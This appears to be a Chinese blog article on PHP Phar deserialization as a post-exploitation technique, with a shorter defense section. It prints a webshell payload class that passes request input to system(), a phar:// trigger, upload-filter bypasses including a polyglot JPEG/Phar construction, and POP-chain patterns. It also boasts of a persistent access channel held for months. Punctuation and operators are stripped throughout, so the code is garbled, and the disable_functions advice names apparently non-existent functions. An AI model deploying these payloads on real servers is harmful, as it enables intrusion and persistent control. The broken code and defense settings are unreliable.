别再只盯着文件上传传马了!用Phar反序列化在PHP里玩点更‘高级’的后渗透

发布时间:2026/6/2 22:30:35

别再只盯着文件上传传马了!用Phar反序列化在PHP里玩点更‘高级’的后渗透 Phar反序列化超越传统文件上传的高级渗透艺术在网络安全攻防对抗的演进历程中攻击手法始终在与防御措施进行着螺旋式上升的博弈。当传统文件上传漏洞被各类WAF和防护规则牢牢盯防时一种更为隐蔽的攻击方式正在红队评估中崭露头角——Phar反序列化攻击。这种技术巧妙地将反序列化漏洞存储在看似无害的图片文件中实现一次上传持久触发的攻击效果。1. 从文件上传到Phar反序列化的技术跃迁1.1 传统文件上传的局限性常规Webshell上传面临三重困境检测拦截现代WAF对常见的一句话木马特征检测准确率已达90%以上权限限制上传目录通常配置为不可执行权限如chmod 644持久性差一旦被发现可被直接删除难以维持长期控制// 典型文件上传检测逻辑示例 $allowed_ext [jpg,png]; $file_ext pathinfo($_FILES[file][name], PATHINFO_EXTENSION); if(!in_array($file_ext, $allowed_ext)){ die(Invalid file type!); }1.2 Phar反序列化的核心优势对比传统方式Phar攻击具备独特优势特性文件上传WebshellPhar反序列化文件检测绕过困难容易如图片格式触发条件直接访问文件操作函数调用持久性单点失效多点潜伏攻击面单一入口全站文件操作接口流量特征明显隐蔽2. Phar文件结构与攻击原理深度解析2.1 Phar的二进制解剖一个标准的Phar文件包含四个关键部分Stub- PHP识别标识格式要求严格?php __HALT_COMPILER(); ?Manifest- 存储元数据的核心区域包含文件属性序列化的用户自定义数据攻击载荷载体Contents- 实际压缩内容可伪装为正常文件Signature- 可选的哈希校验部分20字节SHA18字节标志2.2 反序列化触发机制攻击流程分为三个阶段构造阶段class Evil { public function __destruct() { system($_GET[cmd]); } } $phar new Phar(test.phar); $phar-setMetadata(new Evil());上传阶段将.phar文件扩展名改为.jpg/png等允许格式通过文件上传接口传至服务器触发阶段// 通过任意文件操作函数触发 file_exists(phar://uploads/fake.jpg);关键点PHP在解析phar文件时会自动反序列化manifest中的metadata无需文件包含漏洞3. 实战中的高级利用技巧3.1 绕过上传限制的六种方法扩展名伪装mv payload.phar payload.jpg文件内容混淆with open(real.jpg,rb) as f: jpg_header f.read(100) with open(payload.phar,rb) as f: phar f.read() with open(final.jpg,wb) as f: f.write(jpg_header phar[100:])Polyglot文件构造制作同时符合JPEG和PHAR格式的文件通过010 Editor手动调整文件结构压缩包转换zip payload.zip payload.phar mv payload.zip payload.jpg流量混淆分块上传编码转换Base64/Hex二次渲染绕过分析目标图像处理库的渲染逻辑确保关键结构不被破坏3.2 反序列化链POP Chain构造艺术优质攻击链需要满足入口点具备可控参数的文件操作函数跳板合适的魔术方法组合class VulnClass { public function __wakeup() {...} public function __destruct() {...} public function __toString() {...} }执行点最终达成代码执行/文件操作的方法典型链式调用示例__destruct() - __call() - file_put_contents()4. 防御体系构建与对抗策略4.1 企业级防护方案分层防御矩阵应包含输入层控制文件内容签名校验非扩展名检测强制重命名上传文件$new_name hash(sha256, $content)..dat;运行层防护; php.ini配置 phar.readonly On disable_functions phar_open,phar_file代码层规范禁止动态调用文件操作函数使用白名单限制文件操作路径4.2 攻击检测的三大维度静态检测Phar文件特征扫描Stub标识序列化数据模式识别动态监控# 监控可疑文件操作 auditctl -w /var/www/uploads -p war -k web_upload流量分析异常phar协议请求统计反序列化操作行为基线在真实红队评估中我们曾通过Phar攻击在严格防护的目标中建立了三个月以上的持久化通道。这种技术的精妙之处在于它将漏洞利用从文件上传这个单一维度扩展到了所有可能触发文件操作的业务接口——从头像上传到文档导入从缓存清理到备份恢复每个文件接触点都可能成为攻击入口。

相关新闻